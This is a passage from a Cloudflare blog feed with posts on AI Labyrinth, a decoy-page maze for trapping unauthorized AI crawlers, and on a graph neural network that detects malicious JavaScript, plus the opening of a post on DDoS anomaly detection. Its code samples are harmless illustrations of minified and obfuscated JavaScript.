    <p>AI-generated content has exploded, reportedly accounting for <a href="https://www.thetimes.co.uk/article/why-ai-content-everywhere-how-to-detect-l2m2kdx9p"><u>four of the top 20 Facebook posts</u></a> last fall. Additionally, Medium estimates that <a href="https://www.wired.com/story/ai-generated-medium-posts-content-moderation/"><u>47% of all content</u></a> on their platform is AI-generated. Like any newer tool it has both wonderful and <a href="https://www.npr.org/2024/12/24/nx-s1-5235265/how-to-protect-yourself-from-holiday-ai-scams"><u>malicious</u></a> uses.</p><p>At the same time, we’ve also seen an explosion of new crawlers used by AI companies to scrape data for model training. AI Crawlers generate more than 50 billion requests to the Cloudflare network every day, or just under 1% of all web requests we see. While Cloudflare has several tools for <a href="https://www.cloudflare.com/learning/ai/how-to-block-ai-crawlers/"><u>identifying and blocking unauthorized AI crawling</u></a>, we have found that blocking malicious <a href="https://www.cloudflare.com/learning/bots/what-is-a-bot/">bots</a> can alert the attacker that you are on to them, leading to a shift in approach, and a never-ending arms race. So, we wanted to create a new way to thwart these unwanted bots, without letting them know they’ve been thwarted.</p><p>To do this, we decided to use a new offensive tool in the bot creator’s toolset that we haven’t really seen used defensively: AI-generated content. When we detect unauthorized crawling, rather than blocking the request, we will link to a series of AI-generated pages that are convincing enough to entice a crawler to traverse them. But while real looking, this content is not actually the content of the site we are protecting, so the crawler wastes time and resources. </p><p>As an added benefit, AI Labyrinth also acts as a next-generation honeypot. No real human would go four links deep into a maze of AI-generated nonsense. Any visitor that does is very likely to be a bot, so this gives us a brand-new tool to identify and fingerprint bad bots, which we add to our list of known bad actors. Here’s how we do it…</p>
    <div>
      <h3>How we built the labyrinth </h3>
      <a href="#how-we-built-the-labyrinth">
        
      </a>
    </div>
    <p>When AI crawlers follow these links, they waste valuable computational resources processing irrelevant content rather than extracting your legitimate website data. This significantly reduces their ability to gather enough useful information to train their models effectively.</p><p>To generate convincing human-like content, we used <a href="https://developers.cloudflare.com/workers-ai/"><u>Workers AI</u></a> with an open source model to create unique HTML pages on diverse topics. Rather than creating this content on-demand (which could impact performance), we implemented a pre-generation pipeline that sanitizes the content to<a href="https://www.cloudflare.com/learning/security/how-to-prevent-xss-attacks/"> prevent any XSS vulnerabilities</a>, and stores it in <a href="https://www.cloudflare.com/developer-platform/products/r2/">R2</a> for faster retrieval. We found that generating a diverse set of topics first, then creating content for each topic, produced more varied and convincing results. It is important to us that we don’t generate inaccurate content that contributes to the spread of misinformation on the Internet, so the content we generate is real and related to scientific facts, just not relevant or proprietary to the site being crawled.</p><p>This pre-generated content is seamlessly integrated as hidden links on existing pages via our custom HTML transformation process, without disrupting the original structure or content of the page. Each generated page includes appropriate meta directives to protect SEO by preventing search engine indexing. We also ensured that these links remain invisible to human visitors through carefully implemented attributes and styling. To further minimize the impact to regular visitors, we ensured that these links are presented only to suspected AI scrapers, while allowing legitimate users and verified crawlers to browse normally.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2PHSCXVMFipAhGJ5IheXW3/a46aad93f2e60f6d892d4c597a752a58/image4.png" />
          </figure><p><sup><i>A graph of daily requests over time, comparing different categories of AI Crawlers.</i></sup></p><p>What makes this approach particularly effective is its role in our continuously evolving bot detection system. When these links are followed, we know with high confidence that it's automated crawler activity, as human visitors and legitimate browsers would never see or click them. This provides us with a powerful identification mechanism, generating valuable data that feeds into our <a href="https://www.cloudflare.com/learning/ai/what-is-machine-learning/">machine learning models</a>. By analyzing which crawlers are following these hidden pathways, we can identify new bot patterns and signatures that might otherwise go undetected. This proactive approach helps us <a href="https://www.cloudflare.com/learning/ai/how-to-prevent-web-scraping/">stay ahead of AI scrapers</a>, continuously improving our detection capabilities without disrupting the normal browsing experience.</p><p>By building this solution on our developer platform, we've created a system that serves convincing decoy content instantly while maintaining consistent quality - all without impacting your site's performance or user experience.</p>
    <div>
      <h3>How to use AI Labyrinth to stop AI crawlers</h3>
      <a href="#how-to-use-ai-labyrinth-to-stop-ai-crawlers">
        
      </a>
    </div>
    <p>Enabling AI Labyrinth is simple and requires just a single toggle in your Cloudflare dashboard. Navigate to the bot management section within your zone, and toggle the new AI Labyrinth setting to on:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/q1ZQlnnMztSsK8PWD1h0S/ef02f081544dc751f754e9630f17261e/image1.png" />
          </figure>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/61qBVDv0WFh8YzrbVULtxq/13ec46d7651c59454f9fe3754e253b85/image3.png" />
          </figure><p>Once enabled, the AI Labyrinth begins working immediately with no additional configuration needed.</p>
    <div>
      <h3>AI honeypots, created by AI</h3>
      <a href="#ai-honeypots-created-by-ai">
        
      </a>
    </div>
    <p>The core benefit of AI Labyrinth is to confuse and distract bots. However, a secondary benefit is to serve as a next-generation honeypot. In this context, a honeypot is just an invisible link that a website visitor can’t see, but a bot parsing HTML would see and click on, therefore revealing itself to be a bot. Honeypots have been used to catch hackers as early as the late <a href="https://medium.com/@jcart657/the-cuckoos-egg-9b502442ea67"><u>1986 Cuckoo’s Egg incident</u></a>. And in 2004, <a href="https://www.projecthoneypot.org/"><u>Project Honeypot</u></a> was created by Cloudflare founders (prior to founding Cloudflare) to let everyone easily deploy free email honeypots, and receive lists of crawler IPs in exchange for contributing to the database. But as bots have evolved, they now proactively look for honeypot techniques like hidden links, making this approach less effective.</p><p>AI Labyrinth won’t simply add invisible links, but will eventually create whole networks of linked URLs that are much more realistic, and not trivial for automated programs to spot. The content on the pages is obviously content no human would spend time-consuming, but AI bots are programmed to crawl rather deeply to harvest as much data as possible. When bots hit these URLs, we can be confident they aren’t actual humans, and this information is recorded and automatically fed to our machine learning models to help improve our bot identification. This creates a beneficial feedback loop where each scraping attempt helps protect all Cloudflare customers.</p>
    <div>
      <h3>What’s next</h3>
      <a href="#whats-next">
        
      </a>
    </div>
    <p>This is only the first iteration of using generative AI to thwart bots for us. Currently, while the content we generate is convincingly human, it won’t conform to the existing structure of every website. In the future, we’ll continue to work to make these links harder to spot and make them fit seamlessly into the existing structure of the website they’re embedded in. You can help us by opting in now.</p><p>To take the next step in the fight against bots, <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/detections/bot-traffic"><u>opt-in to AI Labyrinth</u></a> today.</p> ]]></content:encoded>
            <category><![CDATA[Security Week]]></category>
            <category><![CDATA[Bots]]></category>
            <category><![CDATA[Bot Management]]></category>
            <category><![CDATA[AI Bots]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Machine Learning]]></category>
            <category><![CDATA[Generative AI]]></category>
            <guid isPermaLink="false">1Zh4fm4BB1S3xuVwfETiTE</guid>
            <dc:creator>Reid Tatoris</dc:creator>
            <dc:creator>Harsh Saxena</dc:creator>
            <dc:creator>Luis Miglietti</dc:creator>
        </item>
        <item>
            <title><![CDATA[How we train AI to uncover malicious JavaScript intent and make web surfing safer]]></title>
            <link>https://blog.cloudflare.com/how-we-train-ai-to-uncover-malicious-javascript-intent-and-make-web-surfing-safer/</link>
            <pubDate>Wed, 19 Mar 2025 13:00:00 GMT</pubDate>
            <description><![CDATA[ Learn more about how Cloudflare developed an AI model to uncover malicious JavaScript intent using a Graph Neural Network, from pre-processing data to inferencing at scale.  ]]></description>
            <content:encoded><![CDATA[ <p>Modern websites <a href="https://blog.cloudflare.com/application-security-report-2024-update/#enterprise-applications-use-47-third-party-scripts-on-average"><u>rely heavily</u></a> on JavaScript. Leveraging third-party scripts accelerates web app development, enabling organizations to deploy new features faster without building everything from scratch. However, supply chain attacks targeting third-party JavaScript are no longer just a theoretical concern — they have become a reality, as <a href="https://blog.cloudflare.com/polyfill-io-now-available-on-cdnjs-reduce-your-supply-chain-risk/"><u>recent incidents</u></a> have shown. Given the vast number of scripts and the rapid pace of updates, manually reviewing each one is not a scalable security strategy.</p><p>Cloudflare provides automated client-side protection through <a href="https://developers.cloudflare.com/page-shield/"><u>Page Shield</u></a>. Until now, Page Shield could scan JavaScript dependencies on a web page, flagging obfuscated script content which also exfiltrates data. However, these are only indirect indicators of compromise or malicious intent. Our original approach didn’t provide clear insights into a script’s specific malicious objectives or the type of attack it was designed to execute.</p><p>Taking things a step further, we have developed a new AI model that allows us to detect the exact malicious intent behind each script. This intelligence is now integrated into Page Shield, available to all Page Shield <a href="https://developers.cloudflare.com/page-shield/#availability"><u>add-on</u></a> customers. We are starting with three key threat categories: <a href="https://en.wikipedia.org/wiki/Web_skimming"><u>Magecart</u></a>, crypto mining, and malware.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6EefJpCcho3DIjbVbQIjuz/68852b905955065e48ec2aa4648621cd/1.png" />
          </figure><p><sup><i>Screenshot of Page Shield dashboard showing results of three types of analysis.</i></sup></p><p>With these improvements, Page Shield provides deeper visibility into client-side threats, empowering organizations to better protect their users from evolving security risks. This new capability is available to all Page Shield customers with the <a href="https://developers.cloudflare.com/page-shield/#availability"><u>add-on</u></a>. Head over <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/page-shield"><u>to the dashboard</u></a>, and you can find the new malicious code analysis for each of the scripts monitored.</p><p>In the following sections, we take a deep dive into how we developed this model.</p>
    <div>
      <h3>Training the model to detect hidden malicious intent</h3>
      <a href="#training-the-model-to-detect-hidden-malicious-intent">
        
      </a>
    </div>
    <p>We built this new Page Shield AI model to detect the intent of JavaScript threats at scale. Training such a model for JavaScript comes with unique challenges, including dealing with web code written in many different styles, often obfuscated yet benign. For instance, the following three snippets serve the same function.</p>
            <pre><code>//Readable, plain code
function sayHi(name) {
  console.log(
    `Hello ${
      name ?? 
      "World" //default
    }!`
  );
}
sayHi("Internet");

//Minified
function sayHi(l){console.log(`Hello ${l??"World"}!`)}sayHi("Internet");

//Obfuscated
var h=Q;(function(V,A){var J=Q,p=V();while(!![]){try{var b=-parseInt(J('0x79'))/0x1*(-parseInt(J('0x6e'))/0x2)+-parseInt(J('0x80'))/0x3+parseInt(J('0x76'))/0x4*(-parseInt(J('0x72'))/0x5)+parseInt(J('0x6a'))/0x6+parseInt(J('0x84'))/0x7+-parseInt(J('0x6d'))/0x8*(-parseInt(J('0x7d'))/0x9)+parseInt(J('0x73'))/0xa*(-parseInt(J('0x7c'))/0xb);if(b===A)break;else p['push'](p['shift']());}catch(U){p['push'](p['shift']());}}}(S,0x22097));function sayHi(p){var Y=Q,b=(function(){var W=!![];return function(e,x){var B=W?function(){var m=Q;if(x){var G=x[m('0x71')](e,arguments);return x=null,G;}}:function(){};return W=![],B;};}()),U=b(this,function(){var s=Q,W=typeof window!==s('0x6b')?window:typeof process===s('0x6c')&amp;&amp;typeof require===s('0x7b')&amp;&amp;typeof global==='object'?global:this,e=W['console']=W['console']||{},x=[s('0x78'),s('0x70'),'info',s('0x69'),s('0x77'),'table',s('0x7f')];for(var B=0x0;B&lt;x[s('0x83')];B++){var G=b[s('0x75')][s('0x6f')][s('0x74')](b),t=x[B],X=e[t]||G;G['__proto__']=b[s('0x74')](b),G['toString']=X[s('0x7e')]['bind'](X),e[t]=G;}});U(),console['log'](Y('0x81')+(p??Y('0x7a'))+'!');}sayHi(h('0x82'));function Q(V,A){var p=S();return Q=function(b,U){b=b-0x69;var W=p[b];return W;},Q(V,A);}function S(){var v=['Internet','length','77966Hcxgji','error','1078032RtaGFM','undefined','object','8zrzBEk','244xEPFaR','prototype','warn','apply','10LQgYRU','400TNVOzq','bind','constructor','146612cfnkCX','exception','log','1513TBJIGL','World','function','57541MkoqrR','2362383dtBFrf','toString','trace','647766YvOJOm','Hello\x20'];S=function(){return v;};return S();}</code></pre>
            <p>With such a variance of styles (and many more), our machine learning solution needs to balance precision (low false positive rate), recall (don’t miss an attack vector), and speed. Here’s how we do it:</p>
    <div>
      <h4>Using syntax trees to classify malicious code</h4>
      <a href="#using-syntax-trees-to-classify-malicious-code">
        
      </a>
    </div>
    <p>JavaScript files are parsed into <a href="https://en.wikipedia.org/wiki/Tree_(graph_theory)"><u>syntax trees (connected acyclic graphs)</u></a>. These serve as the input to a <a href="https://en.wikipedia.org/wiki/Graph_neural_network"><u>Graph Neural Network (GNN)</u></a>. GNNs are used because they effectively capture the interdependencies (relationships between nodes) in executing code, such as a function calling another function. This contrasts with treating the code as merely a sequence of words — something a code compiler, incidentally, does not do. Another motivation to use GNNs is the <a href="https://dl.acm.org/doi/10.1007/978-3-030-92270-2_57"><u>insight</u></a> that the syntax trees of malicious versus benign JavaScript tend to be different. For example, it’s not rare to find attacks that consist of malicious snippets inserted into, but otherwise isolated from, the rest of a benign base code.</p><p>To parse the files, the <a href="https://tree-sitter.github.io/"><u>tree-sitter library</u></a> was chosen for its speed. One peculiarity of this parser, specialized for text editors, is that it parses out <a href="https://en.wikipedia.org/wiki/Parse_tree"><u>concrete syntax trees (CST)</u></a>. CSTs retain everything from the original text input, including spacing information, comments, and even nodes attempting to repair syntax errors. This differs from <a href="https://en.wikipedia.org/wiki/Abstract_syntax_tree"><u>abstract syntax trees (AST)</u></a>, the data structures used in compilers, which have just the essential information to execute the underlying code while ignoring the rest. One key reason for wanting to convert the CST to an AST-like structure, is that it reduces the tree size, which in turn reduces computation and memory usage. To do that, we abstract and filter out unnecessary nodes such as code comments. Consider for instance, how the following snippet</p>
            <pre><code>x = `result: ${(10+5) *   3}`;;; //this is a comment</code></pre>
            <p>… gets converted to an AST-like representation:</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4KweWZ4yIzOTiIcYqHC682/56c059b38ad46949e7285d84438be4c9/2.png" />
          </figure><p><sup><i>Abstract Syntax Tree (AST) representation of the sample code above. Unnecessary elements get removed (e.g. comments, spacing) whereas others get encoded in the tree structure (order of operations due to parentheses).</i></sup></p><p>One benefit of working with parsed syntax trees is that <a href="https://huggingface.co/learn/nlp-course/en/chapter2/4"><u>tokenization</u></a> comes for free! We collect and treat the node leaves’ text as our tokens, which will be used as features (inputs) for the machine learning model. Note that multiple characters in the original input, for instance backticks to form a template string, are not treated as tokens per se, but remain encoded in the graph structure given to the GNN. (Notice in the sample tree representations the different node types, such as “assignment_expression”). Moreover, some details in the exact text input become irrelevant in the executing AST, such as whether a string was originally written using double quotes vs. single quotes.</p><p>We encode the node tokens and node types into a matrix of counts. Currently, we lowercase the nodes' text to reduce vocabulary size, improving efficiency and reducing sparsity. Note that JavaScript is a case-sensitive language, so this is a trade-off we continue to explore. This matrix and, importantly, the information about the node edges within the tree, is the input to the GNN.</p><p>How do we deal with obfuscated code? We don’t treat it specially. Rather, we always parse the JavaScript text as is, which incidentally unescapes <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Regular_expressions/Character_escape"><u>escape characters</u></a> too. For instance, the resulting AST shown below for the following input exemplifies that:</p>
            <pre><code>atob('\x55\x32\x56\x75\x5a\x45\x52\x68\x64\x47\x45\x3d') == "SendData"</code></pre>
            
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/sV2qPtj8G30EFnW6rwCav/ef0a970e338e5610da08fa3ccbdeafcc/3.png" />
          </figure><p><sup><i>Abstract Syntax Tree (AST) representation of the sample code above. JavaScript escape characters are unescaped.</i></sup></p><p>Moreover, our vocabulary contains several tokens that are commonly used in obfuscated code, such as double escaped hexadecimal-encoded characters. That, together with the graph structure information, is giving us satisfying results — the model successfully classifies malicious code whether it's obfuscated or not. Analogously, our model’s scores remain stable when applied to plain benign scripts compared to obfuscating them in different ways. In other words, the model’s score on a script is similar to the score on an obfuscated version of the same script. Having said that, some of our model's false positives (FPs) originate from benign but obfuscated code, so we continue to investigate how we can improve our model's intelligence.</p>
    <div>
      <h4>Architecting the Graph Neural Network</h4>
      <a href="#architecting-the-graph-neural-network">
        
      </a>
    </div>
    <p>We train a <a href="https://mbernste.github.io/posts/gcn/"><u>message-passing graph convolutional network (MPGCN)</u></a> that processes the input trees. The message-passing layers iteratively update each node’s internal representation, encoded in a matrix, by aggregating information from its neighbors (parent and child nodes in the tree). A pooling layer then condenses this matrix into a feature vector, discarding the explicit graph structure (edge connections between nodes). At this point, standard neural network layers, such as fully connected layers, can be applied to progressively refine the representation. Finally, a <a href="https://en.wikipedia.org/wiki/Softmax_function"><u>softmax activation</u></a> layer produces a probability distribution over the four possible classes: benign, magecart, cryptomining, and malware.</p><p>We use the <a href="https://github.com/tensorflow/gnn"><u>TF-GNN library</u></a> to implement graph neural networks, with <a href="https://keras.io/"><u>Keras</u></a> serving as the high-level frontend for model building and training. This works well for us with one exception: <a href="https://github.com/tensorflow/gnn/issues/803#issue-2279602052"><u>TF-GNN does not support sparse matrices / tensors</u></a>. (That lack of support increases memory consumption, which also adds some latency.) Because of this, we are considering switching to <a href="https://pytorch-geometric.readthedocs.io/"><u>PyTorch Geometric</u></a> instead.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/79SbvJgWq3mwMks6Vtxpgs/5ab55f19b6cf90dc070b5f0d70abdde9/4.png" />
          </figure><p><sup><i>Graph neural network architecture, transforming the input tree with features down to the 4 classification probabilities.</i></sup></p><p>The model’s output probabilities are finally inverted and scaled into <a href="https://developers.cloudflare.com/page-shield/how-it-works/malicious-script-detection/#malicious-script-detection"><u>scores</u></a> (ranging from 1 to 99). The “js_integrity” score aggregates the malicious classes (magecart, malware, cryptomining). A low score means likely malicious, and a high score means likely benign. We use this output format for consistency with other Cloudflare detection systems, such as <a href="https://developers.cloudflare.com/page-shield/how-it-works/malicious-script-detection/#malicious-script-detection"><u>Bot Management</u></a> and the <a href="https://developers.cloudflare.com/waf/detections/attack-score/"><u>WAF Attack Score</u></a>. The following diagram illustrates the preprocessing and feature analysis pipeline of the model down to the inference results.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/zLPW9kydBIJySfjaN2TTI/d7b9a7f51c1bb501aac2b7a724d62a1d/5.png" />
          </figure><p><sup><i>Model inference pipeline to sniff out and alert on malicious JavaScript.</i></sup></p>
    <div>
      <h4>Tackling unbalanced data: malicious scripts are the minority</h4>
      <a href="#tackling-unbalanced-data-malicious-scripts-are-the-minority">
        
      </a>
    </div>
    <p>Finding malicious scripts is like finding a needle in a haystack; they are anomalies among plenty of otherwise benign JavaScript. This naturally results in a highly imbalanced dataset. For example, our Magecart-labeled scripts only account for ~6% of the total dataset.</p><p>Not only that, but the “benign” category contains an immense variance (and amount) of JavaScript to classify. The lengths of the scripts are highly diverse (ranging from just a few bytes to several megabytes), their coding styles vary widely, some are obfuscated whereas others are not, etc. To make matters worse, malicious payloads are often just small, carefully inserted fragments within an otherwise perfectly valid and functional benign script. This all creates a cacophony of token distributions for an ML model to make sense of.</p><p>Still, our biggest problem remains finding enough malevolent JavaScript to add to our training dataset. Thus, simplifying it, our strategy for data collection and annotation is two-fold:</p><ol><li><p>Malicious scripts are about quantity → the more, the merrier (for our model, that is 😉). Of course, we still care about quality and diversity. But because we have so few of them (in comparison to the number of benign scripts), we take what we can.</p></li><li><p>Benign scripts are about quality → the more <i>variance</i>, the merrier. Here we have the opposite situation. Because we can collect so many of them easily, the value is in adding differentiated scripts.</p></li></ol>
    <div>
      <h5>Learning key scripts only: reduce false positives with minimal annotation time</h5>
      <a href="#learning-key-scripts-only-reduce-false-positives-with-minimal-annotation-time">
        
      </a>
    </div>
    <p>To filter out semantically-similar scripts (mostly benign), we employed the latest advancements in LLM for generating code <a href="https://www.cloudflare.com/learning/ai/what-are-embeddings/"><u>embeddings</u></a>. We added those scripts that are distant enough from each other to our dataset, as measured by <a href="https://developers.cloudflare.com/vectorize/best-practices/create-indexes/#distance-metrics"><u>vector cosine similarity</u></a>. Our methodology is simple — for a batch of potentially new scripts:</p><ul><li><p>Initialize an empty <a href="https://www.cloudflare.com/learning/ai/what-is-vector-database/"><u>vector database</u></a>. For local experimentation, we are fans of <a href="https://docs.trychroma.com/docs/overview/introduction"><u>Chroma DB</u></a>.</p></li><li><p>For each script:</p><ul><li><p>Call an LLM to generate its embedding. We’ve had good results with <a href="https://github.com/bigcode-project/starcoder2"><u>starcoder2</u></a>, and most recently <a href="https://huggingface.co/Qwen/Qwen2.5-Coder-32B"><u>qwen2.5-coder</u></a>.</p></li><li><p>Search in the database for the top-1 closest other script’s vectors.</p></li><li><p>If the distance &gt; threshold (0.10), select it and add it to the database.</p></li><li><p>Else, discard the script (though we consider it for further validations and tests).</p></li></ul></li></ul><p>Although this methodology has an inherent bias in gradually favoring the first seen scripts, in practice we’ve used it for batches of newly and randomly sampled JavaScript only. To review the whole existing dataset, we could employ other but similar strategies, like applying <a href="https://scikit-learn.org/stable/modules/generated/sklearn.cluster.HDBSCAN.html"><u>HDBSCAN</u></a> to identify an unknown number of clusters and then selecting the medoids, boundary, and anomaly data points.</p><p>We’ve successfully employed this strategy for pinpointing a few highly varied scripts that were relevant for the model to learn from. Our security researchers save a tremendous amount of time on manual annotation, while false positives are drastically reduced. For instance, in a large and unlabeled bucket of scripts, one of our early evaluation models identified ~3,000 of them as malicious. That’s too many to manually review! By removing near duplicates, we narrowed the need for annotation down to only 196 samples, less than 7% of the original amount (see the <a href="https://en.wikipedia.org/wiki/T-distributed_stochastic_neighbor_embedding"><u>t-SNE</u></a> visualization below of selected points and clusters). Three of those scripts were actually malicious, one we could not fully determine, and the rest were benign. By just re-training with these new labeled scripts, a tiny fraction of our whole dataset, we reduced false positives by 50% (as gauged in the same bucket and in a controlled test set). We have consistently repeated this procedure to iteratively enhance successive model versions.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/hHw00ojXE4CdorMQI5b56/897e0e045230522478e0735c3e28ff12/6.png" />
          </figure><p><sup><i>2D visualization of scripts projected onto an embedding space, highlighting those sufficiently dissimilar from one another.</i></sup></p>
    <div>
      <h4>From the lab, to the real world</h4>
      <a href="#from-the-lab-to-the-real-world">
        
      </a>
    </div>
    <p>Our latest model in evaluation has both a macro accuracy and an overall malicious precision nearing 99%(!) on our test dataset. So we are done, right? Wrong! The real world is not the same as the lab, where many more variances of benign JavaScript can be seen. To further assure minimum prediction changes between model releases, we follow these three anti-fool measures:</p>
    <div>
      <h5>Evaluate metrics uncertainty</h5>
      <a href="#evaluate-metrics-uncertainty">
        
      </a>
    </div>
    <p>First, we thoroughly estimate the <i>uncertainty</i> of our offline evaluation metrics. How accurate are our accuracy metrics themselves? To gauge that, we calculate the <a href="https://en.wikipedia.org/wiki/Standard_error"><u>standard error</u></a> and confidence intervals for our offline metrics (precision, recall, <a href="https://en.wikipedia.org/wiki/F-score"><u>F1 measure</u></a>). To do that, we calculate the model’s predicted scores on the test set once (the original sample), and then generate bootstrapped resamples from it. We use simple random (re-)sampling as it offers us a more conservative estimate of error than stratified or balanced sampling.</p><p>We would generate 1,000 resamples, each a fraction of 15% resampled from the original test sample, then calculate the metrics for each individual resample. This results in a distribution of sampled data points. We measure its mean, the standard deviation (with <a href="https://en.wikipedia.org/wiki/Standard_deviation#Corrected_sample_standard_deviation"><u>Bessel’s correction</u></a>), and finally the standard error and a <a href="https://en.wikipedia.org/wiki/Confidence_interval"><u>confidence interval</u></a> (CI) (using the percentile method, such as the 2.5 and 97.5 percentiles for a 95% CI). See below for an example of a bootstrapped distribution for precision (P), illustrating that a model’s performance is a continuum rather than a fixed value, and that might exhibit subtly (left-)skewed tails. For some of our internally evaluated models, it can easily happen that some of the sub-sampled metrics decrease by up to 20 percentage points within a 95% confidence range. High standard errors and/or confidence ranges signal needs for model improvement and for improving and increasing our test set.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/2x3X2oVv2EfIkLYFrcjLWK/985a685e565f759b7781821595ac4ff7/7.png" />
          </figure><p><sup><i>An evaluation metric, here precision (P), might change significantly depending on what’s exactly tested. We thoroughly estimate the metric’s standard error and confidence intervals.</i></sup></p>
    <div>
      <h5>Benchmark against massive offline unlabeled dataset</h5>
      <a href="#benchmark-against-massive-offline-unlabeled-dataset">
        
      </a>
    </div>
    <p>We run our model on the entire corpus of scripts seen by Cloudflare's network and temporarily cached in the last 90 days. By the way, that’s nearly 1 TiB and 26 million different JavaScript files! With that, we can observe the model’s behavior against real traffic, yet completely offline (to ensure no impact to production). We check the malicious prediction rate, latency, throughput, etc. and sample some of the predictions for verification and annotation.</p>
    <div>
      <h5>Review in staging and shadow mode</h5>
      <a href="#review-in-staging-and-shadow-mode">
        
      </a>
    </div>
    <p>Only after all the previous checks were cleared, we then run this new tentative version in our staging environment. For major model upgrades, we also deploy them in <a href="https://cloud.google.com/architecture/guidelines-for-developing-high-quality-ml-solutions"><u>shadow mode</u></a> (log-only mode) — running on production, alongside our existing model. We study the model’s behavior for a while before finally marking it as production ready, otherwise we go back to the drawing board.</p>
    <div>
      <h3>AI inference at scale</h3>
      <a href="#ai-inference-at-scale">
        
      </a>
    </div>
    <p>At the time of writing, Page Shield sees an average of <i>40,000 scripts per second</i>. Many of those scripts are repeated, though. Everything on the Internet follows a <a href="https://blog.cloudflare.com/making-waf-ai-models-go-brr/#caching-inference-result"><u>Zipf's law distribution</u></a>, and JavaScript seen on the Cloudflare network is no exception. For instance, it is estimated that different versions of the <a href="https://blog.cloudflare.com/page-shield-positive-blocking-policies/#client-side-libraries"><u>Bootstrap library run on more than 20% of websites</u></a>. It would be a waste of computing resources if we repeatedly re-ran the AI model for the very same inputs — inference result caching is needed. Not to mention, GPU utilization is expensive!</p><p>The question is, what is the best way to cache the scripts? We could take an <a href="https://csrc.nist.gov/glossary/term/sha_256"><u>SHA-256</u></a> hash of the plain content as is. However, any single change in the transmitted content (comments, spacing, or a different character set) changes the SHA-256 output hash.</p><p>A better caching approach? Since we need to parse the code into syntax trees for our GNN model anyway, this tree structure and content is what we use to hash the JavaScript. As described above, we filter out nodes in the syntax tree like comments or empty statements. In addition, some irrelevant details get abstracted out in the AST (escape sequences are unescaped, the way of writing strings is normalized, unnecessary parentheses are removed for the operations order is encoded in the tree, etc.).</p><p>Using such a tree-based approach to caching, we can conclude that at any moment over 99.9% of reported scripts have already been seen in our network! Unless we deploy a new model with significant improvements, we don’t re-score previously seen JavaScript but just return the cached score. As a result, the model only needs to be called <i>fewer than 10 times per minute</i>, even during peak times!</p>
    <div>
      <h3>Let AI help ease PCI DSS v4 compliance</h3>
      <a href="#let-ai-help-ease-pci-dss-v4-compliance">
        
      </a>
    </div>
    <p>One of the most popular use cases for deploying Page Shield is to help meet the two new client-side security requirements in PCI DSS v4 — <a href="https://assets.ctfassets.net/slt3lc6tev37/4HJex2kG7FCb1IJRC9rIhL/081fdd8b1a471def14cfd415f99e4b58/Evaluation_Page_Shield_091124_FINAL.pdf"><u>6.4.3 and 11.6.1</u></a>. These requirements make companies responsible for approving scripts used in payment pages, where payment card data could be compromised by malicious JavaScript. Both of these requirements <a href="https://blog.pcisecuritystandards.org/countdown-to-pci-dss-v4.0"><u>become effective</u></a> on March 31, 2025.</p><p>Page Shield with AI malicious JavaScript detection can be deployed with just a few clicks, especially if your website is already proxied through Cloudflare. <a href="https://www.cloudflare.com/page-shield/"><u>Sign up here</u></a> to fast track your onboarding!</p> ]]></content:encoded>
            <category><![CDATA[Security Week]]></category>
            <category><![CDATA[Page Shield]]></category>
            <category><![CDATA[AI]]></category>
            <category><![CDATA[Machine Learning]]></category>
            <category><![CDATA[Malicious JavaScript]]></category>
            <category><![CDATA[JavaScript]]></category>
            <guid isPermaLink="false">3VQUOQBWzT8cc7oFFv003i</guid>
            <dc:creator>Juan Miguel Cejuela</dc:creator>
            <dc:creator>Zhiyuan Zheng</dc:creator>
        </item>
        <item>
            <title><![CDATA[Training a million models per day to save customers of all sizes from DDoS attacks]]></title>
            <link>https://blog.cloudflare.com/training-a-million-models-per-day-to-save-customers-of-all-sizes-from-ddos/</link>
            <pubDate>Wed, 23 Oct 2024 13:00:00 GMT</pubDate>
            <description><![CDATA[ In this post we will describe how we use anomaly detection to watch for novel DDoS attacks. We’ll provide an overview of how we build models which flag unusual traffic and keep our customers safe. ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Our always-on DDoS protection runs inside every server across our global network.  It constantly analyzes incoming traffic, looking for signals associated with previously identified DDoS attacks. We dynamically create <a href="https://developers.cloudflare.com/ddos-protection/about/how-ddos-protection-works/"><u>fingerprints</u></a> to flag malicious traffic, which is dropped when detected in high enough volume — so it never reaches its destination — keeping customer websites online.</p><p>In many cases, flagging bad traffic can be straightforward. For example, if we see too many requests to a destination with the same protocol violation, we can be fairly sure this is an automated script, rather than a surge of requests from a legitimate web browser.</p><p>Our DDoS systems are great at detecting attacks, but there’s a minor catch. Much like the human immune system, they are great at spotting attacks similar to things they have seen before. But for new and novel threats, they need a little help knowing what to look for, which is an expensive and time-consuming human endeavor.</p><p>Cloudflare protects millions of Internet properties, and we serve over 60 million HTTP requests per second on average, so trying to find unmitigated attacks in such a huge volume of traffic is a daunting task. In order to protect the smallest of companies, we need a way to find unmitigated attacks that may only be a few thousand requests per second, as even these can be enough to take smaller sites offline.</p><p>To better protect our customers, we also have a system to automatically identify unmitigated, or partially mitigated DDoS attacks, so we can better shore up our defenses against emerging threats. In this post we will introduce this anomaly detection pipeline, we’ll provide an overview of how it builds statistical models which flag unusual traffic and keep our customers safe. Let’s jump in!</p>
    <div>
      <h2>A naive volumetric model</h2>
      <a href="#a-naive-volumetric-model">
        
      </a>
    </div>
    <p>A DDoS attack, by definition, is characterized by a higher than normal volume of traffic destined for a particular destination. We can use this fact to loosely sketch out a potential approach. Let’s look at an example website, and look at the request volume over the course of a day, broken down into 1 minute intervals.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/6j97IMawigCOtQEIKLzQ4n/8ab1e487a5dc8faaecc732b8fbb7d8d4/image3.png" />
          </figure><p>We can plot this same data as a histogram:</p>
